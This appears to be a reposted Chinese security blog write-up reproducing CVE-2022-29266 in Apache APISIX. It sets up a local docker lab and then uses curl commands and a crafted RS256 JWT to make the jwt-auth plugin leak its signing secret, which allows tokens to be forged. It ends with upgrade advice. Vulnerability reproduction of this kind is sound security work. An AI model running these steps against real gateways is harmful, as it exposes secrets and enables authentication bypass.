CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

admin 2022年8月26日10:36:47评论177 views字数 2104阅读7分0秒阅读模式


01
漏洞介绍

Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。

在2.13.1版本之前的Apache Apisix中,开启了 jwt-auth 插件的 APISIX 存在 jwt sceret泄露。



02
影响版本

Apache Apisix < 2.13.1



03
漏洞环境搭建

1、执行命令

git clone https://github.com/apache/apisix-docker

拉取apisix-docker

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

2、进入apisix-docker/example目录,将docker-compose.yml文件中apisix image修改为apache/apisix:2.13.0-alpine

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

3、执行

docker-compose up -d

启动docker环境

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

4、访问http://localhost:9000,出现以下界面代表docker环境搭建成功

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

5、执行命令

curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"username": "bugtest","plugins": {"jwt-auth": {"key": "bugtestkey","secret": "bugtestsecret"}}}'

配置consumer对象,并启动插件jwt-auth,其中插件jwt-auth的username、key、secret值可以为任意

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

6、再执行命令

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"methods": ["GET"],"uri": "/index.html","plugins": {"jwt-auth": {}},"upstream": {"type": "roundrobin","nodes": {"localhost:8080": 1}}}'

配置路由,至此,漏洞环境已配置完成

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现


04
漏洞复现

1、访问

https://jwt.io/#debugger-io

准备构造jwt进行漏洞测试

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

2、将jwt算法修改为RS256

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

3、将payload修改为{"key": "bugtestkey"},参数key值和之前生成的key值一致

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

4、点击SHARE JWT生成jwt:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJidWd0ZXN0a2V5In0.QfvbXrqOCprKW3WGBh62r39Qxp1BYmI0jH9uamEC9PBP05Ycwyk8xAniKp6YeajrNEv8OBqKxHDdhFGdQ59DYaK7Xb2w4Zl1eqELV98ZGHKaV1U7Iqu8WoE9KurrEDZAY29N25-5AznsRRpiNPxVpReDuLgQ5qmDfzRbJHm2PkpmHPAYMUTKPlwyV6UC2dG6PWlXBuya5uC1qCPY45jRj85t9jmLW2y2aDAP59U-kRRDDFcDIzeAVE96KYFpbaQlM3tyisjtcQnmRGC2gC06N8Sk4smLhV0tn1lwRiQlRHxkUMcpJhgOb5XUocTZI7vYtiZPUv7AGh32yQYWrF1Ltg

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

5、执行命令

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJidWd0ZXN0a2V5In0.QfvbXrqOCprKW3WGBh62r39Qxp1BYmI0jH9uamEC9PBP05Ycwyk8xAniKp6YeajrNEv8OBqKxHDdhFGdQ59DYaK7Xb2w4Zl1eqELV98ZGHKaV1U7Iqu8WoE9KurrEDZAY29N25-5AznsRRpiNPxVpReDuLgQ5qmDfzRbJHm2PkpmHPAYMUTKPlwyV6UC2dG6PWlXBuya5uC1qCPY45jRj85t9jmLW2y2aDAP59U-kRRDDFcDIzeAVE96KYFpbaQlM3tyisjtcQnmRGC2gC06N8Sk4smLhV0tn1lwRiQlRHxkUMcpJhgOb5XUocTZI7vYtiZPUv7AGh32yQYWrF1Ltg

响应中出现jwt secret值:bugtestsecret,拥有jwt secret值后即可伪造jwt

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现


05
漏洞修复

1、将Apache Apisix升级至Apache Apisix 2.13.1以上

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

原文始发于微信公众号(第59号):CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月26日10:36:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现https://cn-sec.com/archives/1255857.html

发表评论

匿名网友 填写信息